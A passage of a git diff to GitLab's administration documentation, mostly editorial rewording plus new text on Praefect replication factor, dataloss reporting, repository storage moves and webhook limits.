@@ -728,7 +765,7 @@ documentation](index.md#configure-gitaly-servers).
After all Gitaly nodes are configured, you can run the Praefect connection
checker to verify Praefect can connect to all Gitaly servers in the Praefect
-config.
+configuration.
1. SSH into each **Praefect** node and run the Praefect connection checker:
@@ -743,7 +780,7 @@ internal traffic from the GitLab application to the Praefect nodes. The
specifics on which load balancer to use or the exact configuration is beyond the
scope of the GitLab documentation.
-NOTE: **Note:**
+NOTE:
The load balancer must be configured to accept traffic from the Gitaly nodes in
addition to the GitLab nodes. Some requests handled by
[`gitaly-ruby`](index.md#gitaly-ruby) sidecar processes call into the main Gitaly
@@ -754,16 +791,16 @@ We hope that if you’re managing HA systems like GitLab, you have a load balanc
of choice already. Some examples include [HAProxy](https://www.haproxy.org/)
(open-source), [Google Internal Load Balancer](https://cloud.google.com/load-balancing/docs/internal/),
[AWS Elastic Load Balancer](https://aws.amazon.com/elasticloadbalancing/), F5
-Big-IP LTM, and Citrix Net Scaler. This documentation will outline what ports
+Big-IP LTM, and Citrix Net Scaler. This documentation outlines what ports
and protocols you need configure.
| LB Port | Backend Port | Protocol |
-|---------|--------------|----------|
+|:--------|:-------------|:---------|
| 2305 | 2305 | TCP |
### GitLab
-To complete this section you will need:
+To complete this section you need:
- [Configured Praefect node](#praefect)
- [Configured Gitaly nodes](#gitaly)
@@ -787,17 +824,17 @@ Particular attention should be shown to:
1. Configure the `external_url` so that files could be served by GitLab
by proper endpoint access by editing `/etc/gitlab/gitlab.rb`:
- You will need to replace `GITLAB_SERVER_URL` with the real external facing
+ You need to replace `GITLAB_SERVER_URL` with the real external facing
URL on which current GitLab instance is serving:
```ruby
external_url 'GITLAB_SERVER_URL'
```
-1. Disable the default Gitaly service running on the GitLab host. It won't be needed
- as GitLab will connect to the configured cluster.
+1. Disable the default Gitaly service running on the GitLab host. It isn't needed
+ because GitLab connects to the configured cluster.
- CAUTION: **Caution:**
+ WARNING:
If you have existing data stored on the default Gitaly storage,
you should [migrate the data your Gitaly Cluster storage](#migrate-existing-repositories-to-gitaly-cluster)
first.
@@ -809,12 +846,14 @@ Particular attention should be shown to:
1. Add the Praefect cluster as a storage location by editing
`/etc/gitlab/gitlab.rb`.
- You will need to replace:
+ You need to replace:
- `LOAD_BALANCER_SERVER_ADDRESS` with the IP address or hostname of the load
balancer.
- `PRAEFECT_EXTERNAL_TOKEN` with the real secret
+ If you are using TLS, the `gitaly_address` should begin with `tls://`.
+
```ruby
git_data_dirs({
"default" => {
@@ -828,7 +867,7 @@ Particular attention should be shown to:
nodes during a `git push` are properly authenticated by editing
`/etc/gitlab/gitlab.rb`:
- You will need to replace `GITLAB_SHELL_SECRET_TOKEN` with the real secret.
+ You need to replace `GITLAB_SHELL_SECRET_TOKEN` with the real secret.
```ruby
gitlab_shell['secret_token'] = 'GITLAB_SHELL_SECRET_TOKEN'
@@ -837,7 +876,7 @@ Particular attention should be shown to:
1. Add Prometheus monitoring settings by editing `/etc/gitlab/gitlab.rb`. If Prometheus
is enabled on a different node, make edits on that node instead.
- You will need to replace:
+ You need to replace:
- `PRAEFECT_HOST` with the IP address or hostname of the Praefect node
- `GITALY_HOST` with the IP address or hostname of each Gitaly node
@@ -922,7 +961,7 @@ To get started quickly:
gitlab-ctl reconfigure
```
-1. Set the Grafana admin password. This command will prompt you to enter a new
+1. Set the Grafana admin password. This command prompts you to enter a new
password:
```shell
@@ -966,7 +1005,7 @@ _Up to date_ in this context means that:
- The last replication operation is in _completed_ state.
If there is no such nodes, or any other error occurs during node selection, the primary
-node will be chosen to serve the request.
+node is chosen to serve the request.
To track distribution of read operations, you can use the `gitaly_praefect_read_distribution`
Prometheus counter metric. It has two labels:
@@ -1032,6 +1071,55 @@ To monitor strong consistency, you can use the following Prometheus metrics:
- `gitaly_hook_transaction_voting_delay_seconds`: Client-side delay introduced
by waiting for the transaction to be committed.
+## Replication factor
+
+Replication factor is the number of copies Praefect maintains of a given repository. A higher
+replication factor offers better redundancy and distribution of read workload, but also results
+in a higher storage cost. By default, Praefect replicates repositories to every storage in a
+virtual storage.
+
+### Variable replication factor
+
+WARNING:
+The feature is not production ready yet. After you set a replication factor, you can't unset it
+without manually modifying database state. Variable replication factor requires you to enable
+repository-specific primaries by configuring the `per_repository` primary election strategy. The election
+strategy is not production ready yet.
+
+Praefect supports configuring a replication factor on a per-repository basis, by assigning
+specific storage nodes to host a repository.
+
+[In an upcoming release](https://gitlab.com/gitlab-org/gitaly/-/issues/3362), we intend to
+support configuring a default replication factor for a virtual storage. The default replication factor
+is applied to every newly-created repository.
+
+Prafect does not store the actual replication factor, but assigns enough storages to host the repository
+so the desired replication factor is met. If a storage node is later removed from the virtual storage,
+the replication factor of repositories assigned to the storage is decreased accordingly.
+
+The only way to configure a repository's replication factor is the `set-replication-factor`
+sub-command. `set-replication-factor` automatically assigns or unassigns random storage nodes as necessary to
+reach the desired replication factor. The repository's primary node is always assigned
+first and is never unassigned.
+
+```shell
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml set-replication-factor -virtual-storage <virtual-storage> -repository <relative-path> -replication-factor <replication-factor>
+```
+
+- `-virtual-storage` is the virtual storage the repository is located in.
+- `-repository` is the repository's relative path in the storage.
+- `-replication-factor` is the desired replication factor of the repository. The minimum value is
+ `1`, as the primary needs a copy of the repository. The maximum replication factor is the number of
+ storages in the virtual storage.
+
+On success, the assigned host storages are printed. For example:
+
+```shell
+$ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml set-replication-factor -virtual-storage default -repository @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git -replication-factor 2
+
+current assignments: gitaly-1, gitaly-2
+```
+
## Automatic failover and leader election
Praefect regularly checks the health of each backend Gitaly node. This
@@ -1040,9 +1128,9 @@ current primary node is found to be unhealthy.
- **PostgreSQL (recommended):** Enabled by default, and equivalent to:
`praefect['failover_election_strategy'] = sql`. This configuration
- option will allow multiple Praefect nodes to coordinate via the
+ option allows multiple Praefect nodes to coordinate via the
PostgreSQL database to elect a primary Gitaly node. This configuration
- will cause Praefect nodes to elect a new primary, monitor its health,
+ causes Praefect nodes to elect a new primary, monitor its health,
and elect a new primary if the current one has not been reachable in
10 seconds by a majority of the Praefect nodes.
- **Memory:** Enabled by setting `praefect['failover_election_strategy'] = 'local'`
@@ -1051,8 +1139,7 @@ current primary node is found to be unhealthy.
be elected. **Do not use with multiple Praefect nodes!** Using with multiple
Praefect nodes is likely to result in a split brain.
-It is likely that we will implement support for Consul, and a cloud native
-strategy in the future.
+We are likely to implement support for Consul, and a cloud native, strategy in the future.
## Primary Node Failure
@@ -1090,15 +1177,14 @@ useful for identifying potential data loss after a failover. The following param
available:
- `-virtual-storage` that specifies which virtual storage to check. The default behavior is to
- display outdated replicas of read-only repositories as they generally require administrator
- action.
+ display outdated replicas of read-only repositories as they might require administrator action.
- In GitLab 13.3 and later, `-partially-replicated` that specifies whether to display a list of
[outdated replicas of writable repositories](#outdated-replicas-of-writable-repositories).
-NOTE: **Note:**
+NOTE:
`dataloss` is still in beta and the output format is subject to change.
-To check for outdated replicas of read-only repositories, run:
+To check for repositories with outdated primaries, run:
```shell
sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss [-virtual-storage <virtual-storage>]
@@ -1110,24 +1196,45 @@ Every configured virtual storage is checked if none is specified:
sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss
```
-The number of potentially unapplied changes to repositories is listed for each replica. Listed
-repositories might have the latest changes but it is not guaranteed. Only outdated replicas of
-read-only repositories are listed by default. For example:
+Repositories which have assigned storage nodes that contain an outdated copy of the repository are listed
+in the output. A number of useful information is printed for each repository:
+
+- A repository's relative path to the storage directory identifies each repository and groups the related
+ information.
+- The repository's current status is printed in parentheses next to the disk path. If the repository's primary
+ is outdated, the repository is in `read-only` mode and can't accept writes. Otherwise, the mode is `writable`.
+- The primary field lists the repository's current primary. If the repository has no primary, the field shows
+ `No Primary`.
+- The In-Sync Storages lists replicas which have replicated the latest successful write and all writes
+ preceding it.
+- The Outdated Storages lists replicas which contain an outdated copy of the repository. Replicas which have no copy
+ of the repository but should contain it are also listed here. The maximum number of changes the replica is missing
+ is listed next to replica. It's important to notice that the outdated replicas may be fully up to date or contain
+ later changes but Praefect can't guarantee it.
+
+Whether a replica is assigned to host the repository is listed with each replica's status. `assigned host` is printed
+next to replicas which are assigned to store the repository. The text is omitted if the replica contains a copy of
+the repository but is not assigned to store the repository. Such replicas won't be kept in-sync by Praefect but may
+act as replication sources to bring assigned replicas up to date.
+
+Example output:
```shell
Virtual storage: default
- Primary: gitaly-3
Outdated repositories:
- @hashed/2c/62/2c624232cdd221771294dfbb310aca000a0df6ac8b66b696d90ef06fdefb64a3.git (read-only):
- gitaly-2 is behind by 1 change or less
- gitaly-3 is behind by 2 changes or less
+ @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git (read-only):
+ Primary: gitaly-1
+ In-Sync Storages:
+ gitaly-2, assigned host
+ Outdated Storages:
+ gitaly-1 is behind by 3 changes or less, assigned host
+ gitaly-3 is behind by 3 changes or less
```
A confirmation is printed out when every repository is writable. For example:
```shell
Virtual storage: default
- Primary: gitaly-1
All repositories are writable!
```
@@ -1135,8 +1242,8 @@ Virtual storage: default
> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/3019) in GitLab 13.3.
-To also list information for outdated replicas of writable repositories, use the
-`-partially-replicated` parameter.
+To also list information of repositories whose primary is up to date but one or more assigned
+replicas are outdated, use the `-partially-replicated` flag.
A repository is writable if the primary has the latest changes. Secondaries might be temporarily
outdated while they are waiting to replicate the latest changes.
@@ -1149,21 +1256,23 @@ Example output:
```shell
Virtual storage: default
- Primary: gitaly-3
Outdated repositories:
- @hashed/2c/62/2c624232cdd221771294dfbb310aca000a0df6ac8b66b696d90ef06fdefb64a3.git (read-only):
- gitaly-2 is behind by 1 change or less
- gitaly-3 is behind by 2 changes or less
- @hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.git (writable):
- gitaly-2 is behind by 1 change or less
+ @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git (writable):
+ Primary: gitaly-1
+ In-Sync Storages:
+ gitaly-1, assigned host
+ Outdated Storages:
+ gitaly-2 is behind by 3 changes or less, assigned host
+ gitaly-3 is behind by 3 changes or less
```
-With the `-partially-replicated` flag set, a confirmation is printed out if every replica is fully up to date.
+With the `-partially-replicated` flag set, a confirmation is printed out if every assigned replica is fully up to
+date.
+
For example:
```shell
Virtual storage: default
- Primary: gitaly-1
All repositories are up to date!
```
@@ -1193,7 +1302,7 @@ Praefect provides the following subcommands to re-enable writes:
sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml accept-dataloss -virtual-storage <virtual-storage> -repository <relative-path> -authoritative-storage <storage-name>
```
-CAUTION: **Caution:**
+WARNING:
`accept-dataloss` causes permanent data loss by overwriting other versions of the repository. Data
[recovery efforts](#data-recovery) must be performed before using it.
@@ -1257,23 +1366,27 @@ Gitaly Cluster automatically.
Repositories may be moved from one storage location using the [Project repository storage moves API](../../api/project_repository_storage_moves.md):
+NOTE:
+The Project repository storage moves API [cannot move all repository types](../../api/project_repository_storage_moves.md#limitations).
+
To move repositories to Gitaly Cluster:
-1. [Schedule a move](../../api/project_repository_storage_moves.md#schedule-a-repository-storage-move-for-a-project)
- for the first repository using the API. For example:
+1. [Schedule repository storage moves for all projects on a storage shard](../../api/project_repository_storage_moves.md#schedule-repository-storage-moves-for-all-projects-on-a-storage-shard) using the API. For example:
```shell
curl --request POST --header "Private-Token: <your_access_token>" --header "Content-Type: application/json" \
- --data '{"destination_storage_name":"praefect"}' "https://gitlab.example.com/api/v4/projects/123/repository_storage_moves"
+ --data '{"source_storage_name":"gitaly","destination_storage_name":"praefect"}' "https://gitlab.example.com/api/v4/project_repository_storage_moves"
```
-1. Using the ID that is returned, [query the repository move](../../api/project_repository_storage_moves.md#get-a-single-repository-storage-move-for-a-project)
+1. [Query the most recent repository moves](../../api/project_repository_storage_moves.md#retrieve-all-project-repository-storage-moves)
using the API. The query indicates either:
- - The move has completed successfully. The `state` field is `finished`.
- - The move is in progress. Re-query the repository move until it completes successfully.
- - The move has failed. Most failures are temporary and are solved by rescheduling the move.
+ - The moves have completed successfully. The `state` field is `finished`.
+ - The moves are in progress. Re-query the repository move until it completes successfully.
+ - The moves have failed. Most failures are temporary and are solved by rescheduling the move.
-1. Once the move is successful, repeat these steps for all repositories for your projects.
+1. Once the moves are complete, [query projects](../../api/projects.md#list-all-projects)
+ using the API to confirm that all projects have moved. No projects should be returned
+ with `repository_storage` field set to the old storage.
## Debugging Praefect
diff --git a/doc/administration/gitaly/reference.md b/doc/administration/gitaly/reference.md
index 53001b946d8..5a004d97220 100644
--- a/doc/administration/gitaly/reference.md
+++ b/doc/administration/gitaly/reference.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Gitaly
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -66,7 +66,7 @@ token = "the secret token"
transitioning = true
```
-CAUTION: **Warning:**
+WARNING:
Remember to disable `transitioning` when you are done
changing your token settings.
@@ -75,7 +75,7 @@ the `gitaly_authentications_total` metric.
### TLS
-Gitaly supports TLS encryption. You will need to bring your own certificates as
+Gitaly supports TLS encryption. You need to bring your own certificates as
this isn't provided automatically.
| Name | Type | Required | Description |
@@ -128,7 +128,7 @@ The following values can be set in the `[git]` section of the configuration file
| Name | Type | Required | Description |
| ---- | ---- | -------- | ----------- |
-| `bin_path` | string | no | Path to Git binary. If not set, will be resolved using `PATH`. |
+| `bin_path` | string | no | Path to Git binary. If not set, is resolved using `PATH`. |
| `catfile_cache_size` | integer | no | Maximum number of cached [cat-file processes](#cat-file-cache). Default is `100`. |
#### `cat-file` cache
@@ -192,8 +192,8 @@ For historical reasons
[GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell) contains
the Git hooks that allow GitLab to validate and react to Git pushes.
Because Gitaly "owns" Git pushes, GitLab Shell must therefore be
-installed alongside Gitaly. This will be [simplified in the
-future](https://gitlab.com/gitlab-org/gitaly/-/issues/1226).
+installed alongside Gitaly. We plan to
+[simplify this](https://gitlab.com/gitlab-org/gitaly/-/issues/1226).
| Name | Type | Required | Description |
| ---- | ---- | -------- | ----------- |
@@ -238,9 +238,11 @@ The following values configure logging in Gitaly under the `[logging]` section.
While the main Gitaly application logs go to `stdout`, there are some extra log
files that go to a configured directory, like the GitLab Shell logs.
-GitLab Shell does not support `panic` or `trace` level logs. `panic` will fall
-back to `error`, while `trace` will fall back to `debug`. Any other invalid log
-levels will default to `info`.
+GitLab Shell does not support `panic` or `trace` level logs:
+
+- `panic` falls back to `error`.
+- `trace` falls back to `debug`.
+- Any other invalid log levels default to `info`.
Example:
diff --git a/doc/administration/housekeeping.md b/doc/administration/housekeeping.md
index c784c788b31..90d2f0d916d 100644
--- a/doc/administration/housekeeping.md
+++ b/doc/administration/housekeeping.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Housekeeping
diff --git a/doc/administration/img/audit_log.png b/doc/administration/img/audit_log.png
deleted file mode 100644
index d4f4c2abf38..00000000000
--- a/doc/administration/img/audit_log.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/img/audit_log_v13_6.png b/doc/administration/img/audit_log_v13_6.png
new file mode 100644
index 00000000000..82ff3e9c87b
--- /dev/null
+++ b/doc/administration/img/audit_log_v13_6.png
Binary files differ
diff --git a/doc/administration/img/export_audit_log_v13_4.png b/doc/administration/img/export_audit_log_v13_4.png
deleted file mode 100644
index e4ba330b8a9..00000000000
--- a/doc/administration/img/export_audit_log_v13_4.png
+++ /dev/null
Binary files differ
diff --git a/doc/administration/img/kroki_c4_diagram.png b/doc/administration/img/kroki_c4_diagram.png
new file mode 100644
index 00000000000..55520e9e129
--- /dev/null
+++ b/doc/administration/img/kroki_c4_diagram.png
Binary files differ
diff --git a/doc/administration/img/kroki_graphviz_diagram.png b/doc/administration/img/kroki_graphviz_diagram.png
new file mode 100644
index 00000000000..77b30b54e07
--- /dev/null
+++ b/doc/administration/img/kroki_graphviz_diagram.png
Binary files differ
diff --git a/doc/administration/img/kroki_nomnoml_diagram.png b/doc/administration/img/kroki_nomnoml_diagram.png
new file mode 100644
index 00000000000..9e54a245e5a
--- /dev/null
+++ b/doc/administration/img/kroki_nomnoml_diagram.png
Binary files differ
diff --git a/doc/administration/img/kroki_plantuml_diagram.png b/doc/administration/img/kroki_plantuml_diagram.png
new file mode 100644
index 00000000000..5d3f0628dfc
--- /dev/null
+++ b/doc/administration/img/kroki_plantuml_diagram.png
Binary files differ
diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md
index 20dce6d68df..7a49542f8bb 100644
--- a/doc/administration/incoming_email.md
+++ b/doc/administration/incoming_email.md
@@ -1,7 +1,7 @@
---
stage: Plan
group: Project Management
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Incoming email
@@ -21,10 +21,9 @@ GitLab has several features based on receiving incoming emails:
## Requirements
-NOTE: **Note:**
-It is **not** recommended to use an email address that receives or will receive any
+It is **not** recommended to use an email address that receives any
messages not intended for the GitLab instance. Any incoming emails not intended
-for GitLab will receive a reject notice.
+for GitLab receive a reject notice.
Handling incoming emails requires an [IMAP](https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol)-enabled
email account. GitLab requires one of the following three strategies:
@@ -38,14 +37,14 @@ Let's walk through each of these options.
### Email sub-addressing
[Sub-addressing](https://en.wikipedia.org/wiki/Email_address#Sub-addressing) is
-a mail server feature where any email to `user+arbitrary_tag@example.com` will end up
+a mail server feature where any email to `user+arbitrary_tag@example.com` ends up
in the mailbox for `user@example.com` . It is supported by providers such as
Gmail, Google Apps, Yahoo! Mail, Outlook.com, and iCloud, as well as the
[Postfix mail server](reply_by_email_postfix_setup.md), which you can run on-premises.
Microsoft Exchange Server [does not support sub-addressing](#microsoft-exchange-server),
and Microsoft Office 365 [does not support sub-addressing by default](#microsoft-office-365)
-TIP: **Tip:**
+NOTE:
If your provider or server supports email sub-addressing, we recommend using it.
A dedicated email address only supports Reply by Email functionality.
A catch-all mailbox supports the same features as sub-addressing as of GitLab 11.7,
@@ -86,7 +85,7 @@ To set up a basic Postfix mail server with IMAP access on Ubuntu, follow the
### Security concerns
-CAUTION: **Caution:**
+WARNING:
Be careful when choosing the domain used for receiving incoming email.
For example, suppose your top-level company domain is `hooli.com`.
@@ -113,13 +112,13 @@ Alternatively, use a dedicated domain for GitLab email communications such as
See GitLab issue [#30366](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/30366)
for a real-world example of this exploit.
-CAUTION: **Caution:**
+WARNING:
Use a mail server that has been configured to reduce
spam.
A Postfix mail server that is running on a default configuration, for example,
-can result in abuse. All messages received on the configured mailbox will be processed
-and messages that are not intended for the GitLab instance will receive a reject notice.
-If the sender's address is spoofed, the reject notice will be delivered to the spoofed
+can result in abuse. All messages received on the configured mailbox are processed
+and messages that are not intended for the GitLab instance receive a reject notice.
+If the sender's address is spoofed, the reject notice is delivered to the spoofed
`FROM` address, which can cause the mail server's IP or domain to appear on a block
list.
@@ -254,7 +253,7 @@ incoming_email:
Example configuration for Gmail/G Suite. Assumes mailbox `gitlab-incoming@gmail.com`.
-NOTE: **Note:**
+NOTE:
`incoming_email_email` cannot be a Gmail alias account.
Example for Omnibus installs:
@@ -443,7 +442,7 @@ Example configurations for Microsoft Office 365 with IMAP enabled.
##### Sub-addressing mailbox
-NOTE: **Note:**
+NOTE:
As of September 2020 sub-addressing support
[has been added to Office 365](https://office365.uservoice.com/forums/273493-office-365-admin/suggestions/18612754-support-for-dynamic-email-aliases-in-office-36). This feature is not
enabled by default, and must be enabled through PowerShell.
@@ -452,9 +451,9 @@ This series of PowerShell commands enables [sub-addressing](#email-sub-addressin
at the organization level in Office 365. This allows all mailboxes in the organization
to receive sub-addressed mail:
-NOTE: **Note:**
-This series of commands will enable sub-addressing at the organization
-level in Office 365. This will allow all mailboxes in the organization
+NOTE:
+This series of commands enables sub-addressing at the organization
+level in Office 365. This allows all mailboxes in the organization
to receive sub-addressed mail.
```powershell
diff --git a/doc/administration/index.md b/doc/administration/index.md
index 0aa94b86371..32c0b1b0712 100644
--- a/doc/administration/index.md
+++ b/doc/administration/index.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+stage: Enablement
+group: Distribution
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
description: 'Learn how to install, configure, update, and maintain your GitLab instance.'
---
@@ -51,26 +51,40 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Global user settings](user_settings.md): Configure instance-wide user permissions.
- [Polling](polling.md): Configure how often the GitLab UI polls for updates.
- [GitLab Pages configuration](pages/index.md): Enable and configure GitLab Pages.
-- [GitLab Pages configuration for GitLab source installations](pages/source.md): Enable and configure GitLab Pages on [source installations](../install/installation.md#installation-from-source).
+- [GitLab Pages configuration for GitLab source installations](pages/source.md):
+ Enable and configure GitLab Pages on [source installations](../install/installation.md#installation-from-source).
- [Uploads administration](uploads.md): Configure GitLab uploads storage.
- [Environment variables](environment_variables.md): Supported environment
variables that can be used to override their default values to configure
GitLab.
-- [Plugins](file_hooks.md): With custom plugins, GitLab administrators can introduce custom integrations without modifying GitLab's source code.
+- [Plugins](file_hooks.md): With custom plugins, GitLab administrators can
+ introduce custom integrations without modifying GitLab source code.
- [Enforcing Terms of Service](../user/admin_area/settings/terms.md)
- [Third party offers](../user/admin_area/settings/third_party_offers.md)
-- [Compliance](compliance.md): A collection of features from across the application that you may configure to help ensure that your GitLab instance and DevOps workflow meet compliance standards.
-- [Diff limits](../user/admin_area/diff_limits.md): Configure the diff rendering size limits of branch comparison pages.
-- [Merge request diffs storage](merge_request_diffs.md): Configure merge requests diffs external storage.
-- [Broadcast Messages](../user/admin_area/broadcast_messages.md): Send messages to GitLab users through the UI.
-- [Elasticsearch](../integration/elasticsearch.md): Enable Elasticsearch to empower GitLab's Advanced Search. Useful when you deal with a huge amount of data. **(STARTER ONLY)**
-- [External Classification Policy Authorization](../user/admin_area/settings/external_authorization.md) **(PREMIUM ONLY)**
-- [Upload a license](../user/admin_area/license.md): Upload a license to unlock features that are in paid tiers of GitLab. **(STARTER ONLY)**
-- [Admin Area](../user/admin_area/index.md): for self-managed instance-wide configuration and maintenance.
-- [S/MIME Signing](smime_signing_email.md): how to sign all outgoing notification emails with S/MIME.
-- [Enabling and disabling features flags](feature_flags.md): how to enable and disable GitLab features deployed behind feature flags.
-
-#### Customizing GitLab's appearance
+- [Compliance](compliance.md): A collection of features from across the
+ application that you may configure to help ensure that your GitLab instance
+ and DevOps workflow meet compliance standards.
+- [Diff limits](../user/admin_area/diff_limits.md): Configure the diff rendering
+ size limits of branch comparison pages.
+- [Merge request diffs storage](merge_request_diffs.md): Configure merge
+ requests diffs external storage.
+- [Broadcast Messages](../user/admin_area/broadcast_messages.md): Send messages
+ to GitLab users through the UI.
+- [Elasticsearch](../integration/elasticsearch.md): Enable Elasticsearch to
+ empower Advanced Search. Useful when you deal with a huge amount of data.
+ **(STARTER ONLY)**
+- [External Classification Policy Authorization](../user/admin_area/settings/external_authorization.md)
+ **(PREMIUM ONLY)**
+- [Upload a license](../user/admin_area/license.md): Upload a license to unlock
+ features that are in paid tiers of GitLab. **(STARTER ONLY)**
+- [Admin Area](../user/admin_area/index.md): for self-managed instance-wide
+ configuration and maintenance.
+- [S/MIME Signing](smime_signing_email.md): how to sign all outgoing notification
+ emails with S/MIME.
+- [Enabling and disabling features flags](feature_flags.md): how to enable and
+ disable GitLab features deployed behind feature flags.
+
+#### Customizing GitLab appearance
- [Header logo](../user/admin_area/appearance.md#navigation-bar): Change the logo on all pages and email headers.
- [Favicon](../user/admin_area/appearance.md#favicon): Change the default favicon to your own logo.
@@ -104,7 +118,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Mattermost](https://docs.gitlab.com/omnibus/gitlab-mattermost/): Integrate with [Mattermost](https://mattermost.com), an open source, private cloud workplace for web messaging.
- [PlantUML](integration/plantuml.md): Create simple diagrams in AsciiDoc and Markdown documents
created in snippets, wikis, and repositories.
-- [Web terminals](integration/terminal.md): Provide terminal access to your applications deployed to Kubernetes from within GitLab's CI/CD [environments](../ci/environments/index.md#web-terminals).
+- [Web terminals](integration/terminal.md): Provide terminal access to your applications deployed to Kubernetes from within GitLab CI/CD [environments](../ci/environments/index.md#web-terminals).
## User settings and permissions
@@ -118,7 +132,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- See also other [authentication](../topics/authentication/index.md#gitlab-administrators) topics (for example, enforcing 2FA).
- [Email users](../tools/email.md): Email GitLab users from within GitLab. **(STARTER ONLY)**
- [User Cohorts](../user/admin_area/analytics/user_cohorts.md): Display the monthly cohorts of new users and their activities over time.
-- [Audit logs and events](audit_events.md): View the changes made within the GitLab server for:
+- [Audit events](audit_events.md): View the changes made within the GitLab server for:
- Groups and projects. **(STARTER)**
- Instances. **(PREMIUM ONLY)**
- [Auditor users](auditor_users.md): Users with read-only access to all projects, groups, and other resources on the GitLab instance. **(PREMIUM ONLY)**
@@ -134,8 +148,8 @@ Learn how to install, configure, update, and maintain your GitLab instance.
## Project settings
- [Issue closing pattern](issue_closing_pattern.md): Customize how to close an issue from commit messages.
-- [Gitaly](gitaly/index.md): Configuring Gitaly, GitLab's Git repository storage service.
-- [Default labels](../user/admin_area/labels.md): Create labels that will be automatically added to every new project.
+- [Gitaly](gitaly/index.md): Configuring Gitaly, the Git repository storage service for GitLab.
+- [Default labels](../user/admin_area/labels.md): Create labels that are automatically added to every new project.
- [Restrict the use of public or internal projects](../public_access/public_access.md#restricting-the-use-of-public-or-internal-projects): Restrict the use of visibility levels for users when they create a project or a snippet.
- [Custom project templates](../user/admin_area/custom_project_templates.md): Configure a set of projects to be used as custom templates when creating a new project. **(PREMIUM ONLY)**
@@ -186,7 +200,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
- [Monitoring GitLab](monitoring/index.md):
- [Monitoring uptime](../user/admin_area/monitoring/health_check.md): Check the server status using the health check endpoint.
- [IP whitelist](monitoring/ip_whitelist.md): Monitor endpoints that provide health check information when probed.
- - [Monitoring GitHub imports](monitoring/github_imports.md): GitLab's GitHub Importer displays Prometheus metrics to monitor the health and progress of the importer.
+ - [Monitoring GitHub imports](monitoring/github_imports.md): The GitLab GitHub Importer displays Prometheus metrics to monitor the health and progress of the importer.
### Performance Monitoring
@@ -199,7 +213,7 @@ Learn how to install, configure, update, and maintain your GitLab instance.
## Analytics
-- [Pseudonymizer](pseudonymizer.md): Export data from GitLab's database to CSV files in a secure way. **(ULTIMATE)**
+- [Pseudonymizer](pseudonymizer.md): Export data from a GitLab database to CSV files in a secure way. **(ULTIMATE)**
## Troubleshooting
@@ -219,7 +233,7 @@ information useful for troubleshooting, but if you are experiencing trouble with
GitLab instance, you should check your [support options](https://about.gitlab.com/support/)
before referring to these documents.
-CAUTION: **Warning:**
+WARNING:
Using the commands listed in the documentation below could result in data loss or
other damage to a GitLab instance, and should only be used by experienced administrators
who are aware of the risks.
diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md
index ec56a59fdc2..0eede5f3ca5 100644
--- a/doc/administration/instance_limits.md
+++ b/doc/administration/instance_limits.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Enablement
+group: Distribution
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -165,7 +165,7 @@ There is a limit when embedding metrics in GFM for performance reasons.
On GitLab.com, the [maximum number of webhooks and their size](../user/gitlab_com/index.md#webhooks) per project, and per group, is limited.
-To set this limit on a self-managed installation, run the following in the
+To set this limit on a self-managed installation, where the default is `100` project webhooks and `50` group webhooks, run the following in the
[GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session):
```ruby
@@ -173,7 +173,7 @@ To set this limit on a self-managed installation, run the following in the
# Plan.default.create_limits!
# For project webhooks
-Plan.default.actual_limits.update!(project_hooks: 100)
+Plan.default.actual_limits.update!(project_hooks: 200)
# For group webhooks
Plan.default.actual_limits.update!(group_hooks: 100)
@@ -181,6 +181,23 @@ Plan.default.actual_limits.update!(group_hooks: 100)
Set the limit to `0` to disable it.
+## Pull Mirroring Interval
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/237891) in GitLab 13.7.
+
